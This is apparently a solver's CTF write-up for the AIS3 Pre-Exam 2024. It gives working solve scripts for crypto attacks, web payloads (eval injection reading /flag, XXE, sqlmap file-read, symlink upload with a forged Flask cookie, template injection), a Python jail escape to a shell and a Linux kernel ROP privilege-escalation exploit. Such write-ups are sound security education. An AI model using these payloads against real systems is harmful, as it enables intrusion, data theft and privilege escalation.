# AIS3 Pre-Exam 2024
![screencapture-pre-exam-ais3-org-users-84-2024-05-30-13_58_20](https://hackmd.io/_uploads/SyWqS9rE0.png)
# crypto
## babyRSA
每個字元爆破
```python
import ast, gmpy2
with open("output.txt") as f:
e, n = ast.literal_eval(f.readline().split(": ")[1])
encrypted = ast.literal_eval(f.readline().split(": ")[1])
def brute(c):
for i in range(1, 1000):
if gmpy2.powmod(i, e, n) == c:
return i
pt = [brute(c) for c in encrypted]
print(bytes(pt))
# AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
```
## zkp
p-1 smooth,直接 pohlig-hellman
```python
from sage.all import *
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
# io = process(["python", "zkp.py"])
io = remote("10.113.197.211", 7002)
io.sendlineafter(b'Option: ', b'1')
io.recvuntil(b'y = ')
y = int(io.recvlineS().strip())
F = GF(p)
x = F(y).log(F(5))
print(long_to_bytes(int(x)))
# AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}
```
## easyRSA
RSA-CRT fault attack,賭它 $a=0 \land b \neq 0$ 或是 $a \neq 0 \land b = 0$ 就能 gcd factor
```python
from pwn import process, remote, context
import ast
from base64 import b64decode, b64encode
from Crypto.Util.number import bytes_to_long, long_to_bytes
from math import gcd
from hashlib import sha256
def sign(io, m: bytes):
io.sendlineafter(b"Option: ", b"2")
io.sendline(b64encode(m))
io.recvuntil(b"Signature: ")
sig = b64decode(ast.literal_eval(io.recvlineS().strip()))
return bytes_to_long(sig)
def H(x: bytes):
return bytes_to_long(sha256(x).digest())
for _ in range(100):
# io = process(["python", "easyRSA.py"])
io = remote("10.113.197.211", 7001)
io.sendlineafter(b"Option: ", b"1")
io.recvuntil(b"e, n = ")
e, n = ast.literal_eval(io.recvlineS().strip())
for _ in range(3):
s = sign(io, b"a")
p = gcd(pow(s, e, n) - H(b"a"), n)
if p != 1 and p < n:
print(p)
break
else:
io.close()
print("Retry...")
continue
q = n // p
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
msg = b64encode(b"Give me the flag!")
sig = pow(H(msg), d, n)
io.sendlineafter(b"Option: ", b"3")
io.sendline(b64encode(long_to_bytes(sig)))
io.interactive()
break
# AIS3{IJustWantItFasterQAQ}
```
## zkp-revenge
r 只有 1000 bits,比 1024 bits 的 p 小,可以當 HNP 解
```python
from sage.all import *
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
import random
from lll_cvp import solve_inequality, kannan_cvp, flatter
from functools import partial
p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699
# io = process(["python", "zkp-revenge.py"])
io = remote("10.113.197.211", 7004)
# io.sendlineafter(b'Option: ', b'1')
# io.recvuntil(b'y = ')
# y = int(io.recvlineS().strip())
def oracle(c: int):
assert c >= (1 << 600), f"too small, {c.bit_length() = }"
assert (p - (1 << 600)) >= c, f"too big, {(p - c).bit_length() = }"
io.sendlineafter(b"Option: ", b"2")
io.sendline(str(c).encode())
io.recvuntil(b"w = ")
return int(io.recvlineS().strip())
n = 100
cs = []
ws = []
for _ in range(n):
c = random.randint(1 << 600, p - (1 << 600))
w = oracle(c)
cs.append(c)
ws.append(w)
A = matrix.identity(n) * (p - 1)
B = matrix(cs).stack(matrix(ws))
L = block_matrix([[A, ZZ(0)], [B, ZZ(1)]])
cvp = partial(kannan_cvp, reduction=flatter)
lb = [0] * n + [0, 0]
ub = [2**1000] * n + [2**1000, 1]
sol = solve_inequality(L, lb, ub, cvp=cvp)
flag = long_to_bytes(int(abs(sol[-2])))
print(flag)
# AIS3{Wow!YouAreAMathMaster.}
```
## zkp-revenge-revenge
r 和 sk 都小,3x3 LLL 搞定
```python
from hashlib import sha256, sha512
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699
g = 5
y = 76877500564117340561479939560167662549380204565073702131743107428012689714444806633202327284694273076663891114679380670820137823370006075466398844510385222281656298572125989350694349265225598804027676382026220031106911120943057216404723024451977342357463050947048653070486137491028023427676181317996918186745
a = 32526590557813432311225468105089258546494555415244350281788608747063518675921491018917256510947003590015240891508142579993999814652779526400269868547952177236689287717946082735037730091852991203951584574550470849340000371428356551467909242982615331621193818017280899485386167916245539916646806739532960507968
w = 94719933836524200229466053051493174098073457144103707805716651680927233371260214665579732066265594858984230783676225150374915625611916124448536631197767005015908074049027372069556312296921116072484673673899264970377172224903555466266691193389868887094669203685758808039000189586652974179612444903988887563032
c = bytes_to_long(sha512(f"{y}, {a}, {g}, {p}".encode()).digest() + sha256(f"{p}, {g}, {a}, {y}".encode()).digest())
# w = c * sk + r
K = 2**500
L = matrix([
[p - 1, 0, 0],
[w, K, 0],
[c, 0, -1]
]).LLL()
for row in L:
if abs(row[1]) == K:
v = sign(row[1]) * row
print(v)
break
r, _, sk = v
print(long_to_bytes(int(sk)))
# AIS3{What!YouSolveThis!?MaybeIShouldUseAGreaterRNextTime._.}
```
## md5-encryption
猜 `len(str(time.time())) == 18` 然後用 length extension attack 猜下個 block 的 xor key
```python
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
from ptrlib.crypto.hashing import MD5, lenext
from base64 import b64encode, b64decode
import ast
time_time = "1" * 18 # assuming len(str(time.time())) == 18
prefix = f"TimeStamp: {time_time} || User:CTF_Player || data: "
pad_to_block = 16 - len(prefix) % 16
blkidx = (len(prefix) + pad_to_block) // 16
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def to_blocks(x, n=16):
return [x[i : i + n] for i in range(0, len(x), n)]
def oracle(data: bytes):
io.sendlineafter(b"Option: ", b"1")
io.sendlineafter(b":", b64encode(data))
bb = ast.literal_eval(io.recvline().decode())
return b64decode(bb)
context.log_level = "DEBUG"
# io = process(["python", "md5_encryption.py"])
io = remote("10.113.197.211", 7003)
known = (
b"" + b" || Flag: AIS3{G" + b"ot1stBlk!_2ndblk" + b"!almostdone!thir" + b"d_block~}"
)
assert len(known) % 16 == 0
_, append = lenext(MD5, 80, b"x" * 16, b"", known)
append = append[: -len(known)] if known else append
res = oracle(b"x" * pad_to_block + append)
h = xor(to_blocks(res)[blkidx], append[:16])
print(h.hex()) # md5(sk + msg(time) + pad_to_block), total length = 16 + 64 = 80
hnext, _ = lenext(MD5, 80, h, b"", known)
hnext = bytes.fromhex(hnext)
bs = to_blocks(res)
for h in bs:
print(xor(h, hnext))
# AIS3{Got1stBlk!_2ndblk!almostdone!third_block~}
```
# web
## Evil Calculator
eval
```python
import requests
r = requests.post(
"http://10.113.197.211:5001/calculate",
json={
"expression": "eval(data['x'])",
"x": "__import__('os').popen('cat /flag').read()",
},
)
print(r.text)
# AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
```
## Ebook Parser
找個 example epub 下來,改 opf 成 xxe:
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE maple[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<package xmlns="http://www.idpf.org/2007/opf" xmlns:dc="http://purl.org/dc/elements/1.1/" unique-identifier="db-id" version="3.0">
<metadata>
<dc:title id="t1">&xxe; Book</dc:title>
<dc:creator>Thomas Hansen</dc:creator>
<dc:identifier id="db-id">isbn</dc:identifier>
<meta property="dcterms:modified">2014-03-27T09:14:09Z</meta>
<dc:language>en</dc:language>
</metadata>
<manifest>
<item id="toc" href="toc.xhtml" media-type="application/xhtml+xml" properties="nav" />
<item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml" />
<item id="chapter_1" href="chapter_1.xhtml" media-type="application/xhtml+xml" />
</manifest>
<spine toc="ncx">
<itemref idref="toc" />
<itemref idref="chapter_1" />
</spine>
</package>
```
Flag: `AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}`
## It's MyGO!!!!!
```bash
sqlmap -u 'http://10.113.197.211:11454/song?id=1' --random-agent --timeout=1 --ignore-timeouts --dbms mysql --file-read=/flag
# AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}
```
## It's MyGO!!!!! Part-time Worker
```bash
> ln -s / .root
> zip --symlinks qq.zip *.jpg .lnk
# upload to the website...
> curl 'http://10.113.197.211:51414/image/fe5e2c6cc0811d0a8a9814538d1cd684/.root/app/secret.py'
secret="No_Sumimi...OnlyAveMujuca"
> flask-unsign --secret 'No_Sumimi...OnlyAveMujuca' --cookie "{'admin': True}" --sign
eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA
> curl 'http://10.113.197.211:51414/admin' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA'
AIS3{So_Crazy...MyGO!!!!!_is_Dead}
```
## Capoost
bypass login
```http
POST /user/login HTTP/1.1
Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487
Content-Length: 60
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487
Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"username":"4dm1n1337","password":{
"Type": "secret"
}}
```
create template as admin:
```template
Flag here: {{range $element := G1V3m34Fl4gpL34s3}} {{$element}} {{end}}
```
create post as other user:
```http
POST /post/create HTTP/1.1
Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487
Content-Length: 66
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487
Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/postcreate.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9
Cookie: session=MTcxNjY5MTU1MHxEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBc0FDWE4xY0dWeWJtVnVaUT09fIxSAm0BpCvhtW6h7hvB6-KRCbIrePSVIjHsm9QUBCWc
Connection: close
{"title":"flag","template":"flag","data":{},
"owner":"4dm1n1337"}
```
then access the post:
```
{"code":500,"msg":"Internal server error","data":"template: flag:1:31: executing \"flag\" at \u003cG1V3m34Fl4gpL34s3\u003e: range can't iterate over AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}"}
```
Flag: `AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}`
## Login Panel Revenge Revenge
1. login as admin:admin
2. get sessionid cookie (e.g. xpeh3ce13en90o1c68uk4715hmoxt5hb)
3. download db:
```bash
> curl "http://10.113.197.211:36743/image/?file=$(printf ./db.sqlite3 | base64 -w0)" > tmp.sqlite3
```
4. extract session data:
```
> sqlite3 tmp.sqlite3 "select session_data from django_session where session_key = 'xpeh3ce13en90o1c68uk4715hmoxt5hb'"
.eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw:1sB4w1:C-Cg-CiN9e0WDhIgUtasUAaMPJW4bkZwm0qDrUzYmCw
```
5. copy session data (data before the first column)
6. decode session data:
```python
> import zlib, base64
> sess = '.eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw'
> zlib.decompress(base64.urlsafe_b64decode(sess+'=='))
b'{"username":"admin","2fa_passed":false,"2fa_code":7082484879360094293651269236249604349451852510460817002847872354624046760270234196525220185066778285855908689779441065446530244791989229006315990248823213461971758502640028638487998128495678421281994254411337987617776863434840031316915441613592827312136403005747787229057454191770018943305184428758602966324}'
```
7. login with 2fa code
AIS3{Yet_An0th3r_l0gin_pan3l_c2hbKnXIa_c!!!!!}
# Misc
## Hash Guesser
上傳 1x1 png,1/2 機率會成功
```python
from PIL import Image
Image.new("L", (1, 1), 0).save('qq.png')
```
## Rickroll Remover
很類似 https://blog.maple3142.net/2024/03/03/osu-gaming-ctf-2024-writeups/#i-hate-anime-girls ,只多了 randomize 的操作而已,直接拿 script 來改一改就行
```python
import base64
import sys
import numpy as np
from PIL import Image
import torch
import torch.nn as nn
import torchvision.transforms as transforms
from torchvision.models import vgg11
from matplotlib import pyplot as plt
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
resize = transforms.Resize((224, 224), antialias=None)
to_tensor = transforms.ToTensor()
normalize = transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))
random = transforms.RandomResizedCrop(384, antialias=True)
model = vgg11()
in_features = model.classifier[-1].in_features
model.classifier[-1] = nn.Linear(in_features, 1)
model.load_state_dict(torch.load("model.pt"))
model = model.to(device)
original = np.array(Image.open("rick.png"))
# st = input(f"Devin's image filtering service (Enter a base64 encoded image)\n")
# try:
# img = np.frombuffer(base64.standard_b64decode(st), dtype=np.uint8)
# img = img.reshape(original.shape)
# assert np.max(np.abs(original.astype(np.int32) - img.astype(np.int32))) <= 8
# except:
# print("Yet another peaceful day without rickroll")
# sys.exit(0)
def pipeline(x, skip_to_tensor=False):
if not skip_to_tensor:
x = to_tensor(x)
x = resize(x)
x = x.unsqueeze(0)
x = normalize(x)
x = random(x)
return x
# assert (pipeline(Image.fromarray(original)) == pipeline(original)).all()
original_t = pipeline(original)
print(original_t.shape) # [batch, channel, height, width] = [1, 3, 224, 224]
x1 = pipeline(original)
x2 = pipeline(torch.tensor(original, dtype=torch.float32).permute(2, 0, 1) / 255, True)
# assert (x1 == x2).all()
def eval_model(x):
return torch.sigmoid(model(x))
orig_tensor = torch.tensor(original, dtype=torch.float32).permute(2, 0, 1).to(device)
x = torch.nn.Parameter(torch.clone(orig_tensor), requires_grad=True) # [C, H, W]
# if os.path.exists("x.png"):
# xdata = np.array(Image.open("x.png").convert("RGB"))
# x = torch.nn.Parameter(
# torch.tensor(xdata, dtype=torch.float32).permute(2, 0, 1).to(device),
# requires_grad=True,
# )
# optim = torch.optim.Adam([x], lr=1e-2)
optim = torch.optim.Adam([x], lr=1)
good_cnt = 0
while good_cnt < 8:
optim.zero_grad()
# limit the difference to 8
diff = torch.clamp(torch.clamp(x, 5, 255 - 5) - orig_tensor, -6, 6)
x.data.copy_(orig_tensor + diff)
# [C, H, W] -> [1, C, H, W]
r = pipeline(x / 255, skip_to_tensor=True)
y = eval_model(r)
loss = y
loss.backward()
optim.step()
print(y.item(), loss.item())
if y.item() <= 0.05: # add a margin due to rounding
good_cnt += 1
else:
good_cnt = 0
print(eval_model(pipeline(x / 255, skip_to_tensor=True)))
# draw x
plt.imsave(
"x.png",
x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy().astype(np.uint8),
)
img_data = np.asarray(Image.open("x.png").convert("RGB"))
assert (x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy() == img_data).all()
mx = np.max(np.abs(original.astype(np.int32) - img_data.astype(np.int32)))
print(mx)
tmp_x = normalize(resize(to_tensor(Image.fromarray(img_data))).unsqueeze(0)).to(device)
with torch.no_grad():
y = torch.sigmoid(model(tmp_x))
print(y)
# AIS3{reurl.cc/gG83vz}
```
```python
from PIL import Image
import numpy as np
from base64 import standard_b64encode
from pwn import process, remote
from subprocess import check_output
arr = np.asarray(Image.open("x.png").convert("RGB"))
buf = arr.tobytes()
def get_io(local):
if local:
return process(["python", "server.py"])
io = remote("10.113.197.211", 15351)
io.recvline()
powcmd = io.recvline().strip().decode()
print(powcmd)
input("ok?")
token = check_output(powcmd, shell=True).strip()
print(token)
io.sendlineafter(b"solution: ", token)
return io
io = get_io(False)
io.sendlineafter(b")\n", standard_b64encode(buf))
io.interactive()
# AIS3{reurl.cc/gG83vz}
```
## Can you describe Pyjail?
```python
(d:=Desc(),d.desc_helper('__dict__'),ga:=d.helper['__getattribute__'],d.desc_helper('__base__'),object:=d.helper,gao:=ga(object,'__getattribute__'),newobj:=gao([],'__reduce_ex__')(3)[0] ),gao(newobj,'__builtins__')['__import__']('os').system('sh')
# AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}
```
# rev
## Frontend Unraveling Web Application: Master Obfuscated Code Odyssey
把整個網站抓下來,然後把 [disable-devtool](https://www.npmjs.com/package/disable-devtool) 那行停用還有把 dope.js 的 setInterval 停用,然後讀 code 看出它 check flag 會先把 flag 放到 `window.Ching367436_flag`,然後 sleep 後看 `window.Ching367436_flag_correct` 的結果。
所以可知有其他地方可能會去定期檢查 flag,所以我用 define property 找找看觸發的 code 是哪個:
```javascript
window.correct = false
Object.defineProperty(window, 'Ching367436_flag_correct', {
set: v => {
console.trace('set', v)
window.correct = v
},
get: () => window.correct
})
```
然後下斷點找一找就發現這邊有個函數的變數裡面有藏 flag:
```javascript
[AIS3(7765)]: function (_0x4abcd2, _0x1013ed) {
return _0x4abcd2 === _0x1013ed;
}
```
Flag: `AIS3{posi_ReAl_W0R1d_Obfuc4ted_Code_B9qgXaihce8:5px}`
# pwn
## EBH
Linux kernel pwn, -aslr, +smep, +smap
在 qemu command 後加上 `-gdb tcp::12345` 然後 gdb `target remote localhost:12345` 可以 debug
可以觀察發現說 kernel stack 大概在 `0xffff............`,而 EBH driver 有:
```c
#define PROTECT_ADDRESS_START 0xffffffff00000000
long write_to_address(struct WriteToAddrData *ptr) {
struct WriteToAddrData data;
if (copy_from_user(&data, ptr, sizeof(struct WriteToAddrData))) return -EFAULT;
if (data.target > PROTECT_ADDRESS_START) return -EFAULT;
if (data.size > 0x60) return -EFAULT;
return copy_from_user(data.target, data.src, data.size);
}
```
所以代表 `target` 可以是 stack address,而且在 no aslr 的情況下是固定的。所以我用 gdb 抓 `write_to_address` 的 return address 出來,然後可以在那邊寫 `0x60` 長度的 ROP chain。
ROP chain 構造是直接參考 https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html
大概是 `commit_creds(init_creds)` 然後 return 到 `rop_bypass_kpti` 那邊就行
```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define GET_PHYSICAL _IO('G', 0)
#define PEEK_PHYSICAL _IO('P', 0)
#define WRITE_TO_ADDRESS _IO('W', 0)
#define WRITE_NOTE _IO('W', 1)
struct PeekPhysicalData {
void *phyaddr;
unsigned long peeksize;
void *peekdata;
};
struct WriteToAddrData {
void *target;
void *src;
unsigned long size;
};
struct WriteNoteData {
void *src;
unsigned long size;
};
unsigned long user_cs, user_ss, user_rflags, user_sp;
static void save_state() {
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
puts("[+] Saved state");
}
static void win(void) {
char *argv[] = {"/bin/cat", "/flag", NULL};
char *envp[] = {NULL};
puts("[+] win!");
fflush(stdout);
execve("/bin/sh", argv, envp);
}
int main() {
int fd = open("/proc/EBH", 0);
if (fd < 0) {
puts("[-] Failed to open /proc/EBH");
return 1;
}
save_state();
// to find rop gadgets:
// pwndbg `search --asm '...' -e`
unsigned long pop_rdi = 0xffffffff810a2402;
unsigned long swapgs_popf_ret = 0xffffffff81c00eaa;
unsigned long iret_ret = 0xffffffff81024362;
unsigned long prepare_kernel_cred = 0xffffffff810895e0;
unsigned long commit_creds = 0xffffffff810892c0;
unsigned long init_cred = 0xffffffff82443f20;
unsigned long bypass_kpti = 0xffffffff81c00a45;
// this works without KPTI
// unsigned long rop[12] = {pop_rdi,
// init_cred,
// commit_creds,
// swapgs_popf_ret,
// 0,
// iret_ret,
// (unsigned long)win,
// user_cs,
// user_rflags,
// user_sp,
// user_ss};
unsigned long rop[12] = {pop_rdi,
init_cred,
commit_creds,
bypass_kpti,
0xdeadbeef,
0xdeadbeef,
(unsigned long)win,
user_cs,
user_rflags,
user_sp,
user_ss};
struct WriteToAddrData writedata = {
.target =
(void
*)0xffffc900001afe58, // stack return address of write_to_address
.src = rop,
.size = 0x60,
};
if (ioctl(fd, WRITE_TO_ADDRESS, &writedata) < 0) {
puts("[-] Failed to write to the address");
close(fd);
return 1;
}
close(fd);
return 0;
}
// AIS3{Oh_n0_1_fOrg37_%O_`iounmap`,_T_Wi|l_r3m*MbEr_i7_Ne/t_t1m#_QAQ}
// ありがとう、ptr-yudai さん
// https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html
```